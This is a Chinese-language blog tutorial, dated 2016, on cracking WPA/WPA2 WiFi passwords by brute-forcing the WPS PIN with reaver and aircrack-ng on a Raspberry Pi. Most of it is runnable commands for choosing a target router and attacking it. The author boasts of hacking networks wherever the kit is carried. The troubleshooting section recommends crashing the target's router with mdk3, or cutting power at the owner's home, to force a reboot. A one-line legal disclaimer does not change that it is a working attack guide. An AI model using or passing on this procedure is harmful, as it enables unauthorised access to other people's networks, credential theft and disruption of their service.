搜索此博客

2016年1月14日星期四

使用reaver破解WPA加密的WiFi网络

我们经常可以在无线路由器的宣传中看到这样的内容:


传统的破解WPA加密的方式是抓到足够多的cap包,然后用字典进行暴力猜解。但前提是必须要有一个足以包含世界上所有奇奇怪怪的密码的强大字典。之后 WPS(WiFi Protected setup)的出现使得设置无线加密更加便利,但事实上,它给破解WiFi密码提供了一个新的思路。如果目标路由器标有“可使用WPS”等字样,那么恭喜,你可以使用本文所述的方法进行破解。P.s.网传目前被破的主要是TP-LINK的路由器,你可以在【这里】通过BSSID查到目标路由的制造商。
本文所述的环境虽然是树莓派,但是如果你使用一台普通的Linux PC,这篇教程同样适用,但是在某些命令上会有些差别。
本文所述内容仅用于研究网络安全相关内容,入侵他人局域网络是违法行为!
准备工作
硬件

    树莓派一台(raspbian wheezy)
    TPLINK无线网卡(芯片为ath9k,用于破解)
    一个强劲的电源以及有源USB HUB
    散热设备(如果需要)

我把全套装备都塞进一个盒子里,在家的时候放在书柜顶上插着电运行,出门的时候放在包里走到哪黑到哪,闷声作大死的必备神器。

软件

    aircrack及其依赖
    reaver及其依赖
    macchanger(用于伪造MAC地址,可选)
    sshd(raspbian自带)
    相关驱动及编译环境
    screen (用于使ssh中运行的进程不随ssh连接断开而被终止)

环境配置

    安装一大堆软件包:

sudo apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark subversion screen
1
   
sudo apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark subversion screen

    编译安装aircrack:

svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng
(P.s. 如果这一步不成功,你可以在【这里】下载并tar解压)
cd aircrack-ng/
make
sudo make install
1
2
3
4
5
   
svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng
(P.s. 如果这一步不成功,你可以在【这里】下载并tar解压)
cd aircrack-ng/
make
sudo make install

     编译安装reaver

wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
tar zxvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
sudo make install
1
2
3
4
5
6
   
wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
tar zxvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
sudo make install


搜寻目标AP
启动网卡监听模式

(由于在RPi上实机运行时没有截图,以下的截图是在Linux Mint16 虚拟机中截得,反正都基于Debian,大同小异。)

    查看网卡是否被识别

sudo lsusb
1
   
sudo lsusb

     查看驱动是否正确加载

sudo lsmod
1
   
sudo lsmod



    查看自己的网卡是哪个接口(interface)并将其bring up,我的是wlan0。

sudo ifconfig
sudo ifconfig wlan0 up
1
2
   
sudo ifconfig
sudo ifconfig wlan0 up

    在wlan0启动监听模式,然后系统会给你回显监听模式在哪个接口上被启动了(通常是mon0)

sudo airmon-ng start wlan0
1
   
sudo airmon-ng start wlan0




获取目标AP信息并确认其支持WPS

    开始抓包

sudo airodump-ng mon0
1
   
sudo airodump-ng mon0


这时候你需要把网卡摆到最佳的位置(但是不建议使用延长线),让PWR(信号强度)尽可能地高,记住BSSID和CH栏显示的数字(信道),然后按Ctrl+c终止。
还有最重要的,你需要确定目标路由器支持WPS 。怎么来确定呢?如果你的系统中有WASH或wlash,你可以使用它们,如果没有,你只需要打开Android手机中的WLAN,手机上会显示目标路由是否支持WPS。

【更新:上图中的MB一栏显示的内容,官方文档是这么解释的:

MB :Maximum speed supported by the AP. If MB = 11, it’s 802.11b, if MB = 22 it’s 802.11b+ and higher rates are 802.11g. The dot (after 54 above) indicates short preamble is supported. Displays “e” following the MB speed value if the network has QoS enabled.

AP支持的最高速率。如果值为11,则AP为802.11b标准;如果值为22则是802.11b+,更高的是802.11g标准。后面的点代表支持短序文(short preamble)(我的理解是验证pin时先验证前四位?我也不清楚….)。e代表路由器开启了QoS(因为貌似只有802.11n支持QoS,所以基本可以确定是802.11n标准)

所以按我的理解就是:攻击带有.和e的路由器成功率更高?…我也是猜的,如果你知道明确的答案请告诉我 (>^ω^<)】

一切准备停当之后,就可以祭出神器reaver了
使用适当的参数启动reaver

注意:如果你使用ssh的话,请在screen中运行reaver。
sudo reaver -i mon0 -b A8:15:XX:XX:XX:XX -a -S -vv -c 1
1
   
sudo reaver -i mon0 -b A8:15:XX:XX:XX:XX -a -S -vv -c 1

(-b后面换成你的目标路由的BSSID )(-i 后面换成监听模式运行的接口)(-c后面换成目标使用的信道)

(这是我使用的参数,你可以根据实际情况进行调整,尤其是目标的信号强度一般的情况下,请务必去掉-S 参数,并在-d和-t参数中设置较长的延时)
各项参数

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

Required Arguments:必填参数
-i, –interface=<wlan> Name of the monitor-mode interface to use–网卡接口名称
-b, –bssid=<mac> BSSID of the target AP– 目标mac地址

Optional Arguments:附加参数
-m, –mac=<mac> MAC of the host system–主机的MAC地址
-e, –essid=<ssid> ESSID of the target AP –目标的ESSID
-c, –channel=<channel> Set the 802.11 channel for the interface (implies -f) –设置信道(与刚才的目标的CH值相同)
-o, –out-file=<file> Send output to a log file [stdout] –输出到文件
-s, –session=<file> Restore a previous session file –重载之前的存档
-C, –exec=<command> Execute the supplied command upon successful pin recovery –当成功破解之后执行某个命令
-D, –daemonize Daemonize reaver –让reaver作为守护进程
-a, –auto Auto detect the best advanced options for the target AP –自动针对目标选择最佳的配置
-f, –fixed Disable channel hopping –不懂
-5, –5ghz Use 5GHz 802.11 channels –使用5G频段
-v, –verbose Display non-critical warnings (-vv for more) –显示不重要的警告(使用-vv显示更多)(看清楚是两个v不是w)
-q, –quiet Only display critical messages –只显示重要的警告
-h, –help Show help –显示帮助

Advanced Options:高级参数
-p, –pin=<wps pin> Use the specified 4 or 8 digit WPS pin –如果你知道了前4位的pin或完整的pin,使用这个参数直接解出psk
-d, –delay=<seconds> Set the delay between pin attempts [1] –在两次尝试间的延时(单位秒,默认为1)
-l, –lock-delay=<seconds> Set the time to wait if the AP locks WPS pin attempts [60] –当目标被锁定或限速的延时(单位秒,默认60)
-g, –max-attempts=<num> Quit after num pin attempts –最大尝试的数量
-x, –fail-wait=<seconds> Set the time to sleep after 10 unexpected failures [0] –在10个未预期的错误后的延时(默认0)
-r, –recurring-delay=<x:y> Sleep for y seconds every x pin attempts –在x次尝试之后暂停y秒钟
-t, –timeout=<seconds> Set the receive timeout period [5] –接受数据包的超时时间(默认10)
-T, –m57-timeout=<seconds> Set the M5/M7 timeout period [0.20] –接受M5/M7数据包的超时时间(默认20)
-A, –no-associate Do not associate with the AP (association must be done by another application) –使reaver不与目标AP关联( associate),但必须已经有其他的程序与目标关联
-N, –no-nacks Do not send NACK messages when out of order packets are received –不懂
-S, –dh-small Use small DH keys to improve crack speed –使用小的DH key,提高速度
-L, –ignore-locks Ignore locked state reported by the target AP –怒略目标的锁定状态
-E, –eap-terminate Terminate each WPS session with an EAP FAIL packet –当出现EAP FAIL 数据包时终止WPS 会话。
-n, –nack Target AP always sends a NACK [Auto] –不懂
-w, –win7 Mimic a Windows 7 registrar [False] –还是不懂

Example:
reaver -i mon0 -b 00:90:4C:C1:AC:21 -vv


然后就是漫长的等待……(在运行中你可以随时按ctrl+c终止reaver,它会自动保存当前进度,下次你输入同一个BSSID时reaver会自动加载上一次保存的进度)
…………………………
…………………………
…………………………
在等待的时间里我们来了解下reaver的工作原理。它利用了WiFi保护设置(WiFi Protected Setup 也就是WPS)的一个弱点,WPS可以为用户提供简单的配置过程,它与设备中硬编码保存的一个PIN码绑定在一起。Reaver利用的就是PIN码认证的一个缺陷。因此只要有足够的时间,它就能破解WPA或WPA2的密码。PIN码分前4和后4,先猜解前4位,只有一万个组合,再猜解后4位中的前3位,只有一千个组合,一共就是一万一千个密码组合。 当reaver确定前4位PIN后,进度将直接跳至90.9%。猜解出整个8位数字的pin之后,就可以直接得到psk。

【更新:如果你想了解更多,请参考 这个网页 和 这个】

破解的速度取决于信号强度以及目标路由器的安全设置,还有信道的拥挤程度。官方文档说reaver通常会运行4-10小时来解出pin,但实际上我在信号满格(同一位置,手机上)的情况下运行了一天一夜+大半天。
成功

当进度达到100%时,你会得到一个大礼包,也就是如下的画面,其中的WPA-PSK就是密码。
(这是在RPi实机运行时用VNC截的图)

故障排除

reaver会根据目标的当前状态来调整猜解的速度和配置,所以在过程中并不需要一直盯着它的运行状态,但是你也还是需要时不时地看一下,确保reaver没有报错或卡死
报错

    出现failed to associate with XX:XX:XX:XX:XX:XX ,说明目标路由器不支持WPS。
    出现failed to re-initialize interface mon0,这有可能是你的网卡掉线造成的,把网卡重新插上并从头执行所有指令。【尤其是在使用树莓派的时候,当你遇到这个报错,检查你的电源和USB HUB的供电,我的两次掉线都是由这个引起的】
    其他报错,比如我有一次遇到了Segmentation Fault…….原因及解决方法未知…..

卡死

如果运行到一定进度,发现窗口中显示的PIN码不变,进度也不走,那么恭喜你遇上死循环了。

    遇到卡死,如果进度不是在90%或者99%,首先尝试Ctrl+c并重新输入刚才的命令,如果程序继续运行,那么故障排除;如果没有,我也不知道怎么办。
    如果卡在90%的位置,说明前四位已解出,使用下面的命令

sudo reaver -i mon0 -b MAC -p 【前四位】 -其他参数
1
   
sudo reaver -i mon0 -b MAC -p 【前四位】 -其他参数

    如果卡死在99.99%,查看/etc/reaver/【目标MAC】.wpc文件,找出剩余的那个PIN(8位的完整pin),使用

sudo reaver -i mon0 -b MAC -p【8位数】
1
   
sudo reaver -i mon0 -b MAC -p【8位数】

如果一切正常可以直接显示结果。

    如果没有显示结果仍然卡死,那么可能是漏掉了正确的PIN码,使用

sudo reaver -i mon0 -b MAC -p 【前四位】 -其他参数
1
   
sudo reaver -i mon0 -b MAC -p 【前四位】 -其他参数

重跑后三位;如果仍然卡死,问题可能出现在前四位,只能删掉存档重新运行reaver,有必要的话设置参数把速度降下来。
还有一种情况

(本段来自网络,未亲测)
破密正常运行中,信号质量也很好的情况下,突然出现出现同码循环和大量timeout,可能是如下原因造成的(排除关机状态)。
reaver只支持11N的PIN破密,11n先验证前4位码,11g也有PIN功能,是全码验证。
现在多数AP的无线模式是混和11bgn,当有11g设备接入时,AP自动从11N降至11g,此时,reaver会出现同码循环重复timeout! 甚至会出现WARNING: Failed to associate with。实证中,在排除同频干扰因素后,通过扫描无线
网络,发现路由器,确实从54e.模式降为54.模式了。有人把此种现象称为临时性WPS、PIN功能自锁。

解决办法:

    等待11g设备退出无线接入,断电重启。
    使用mdk3向路由器发起攻击使其死机,迫使路由器主人重启。
    终极大招:找到目标所在的人家,拉电闸再推上去。

文章来源:http://goo.gl/xHg1oU

没有评论:

发表评论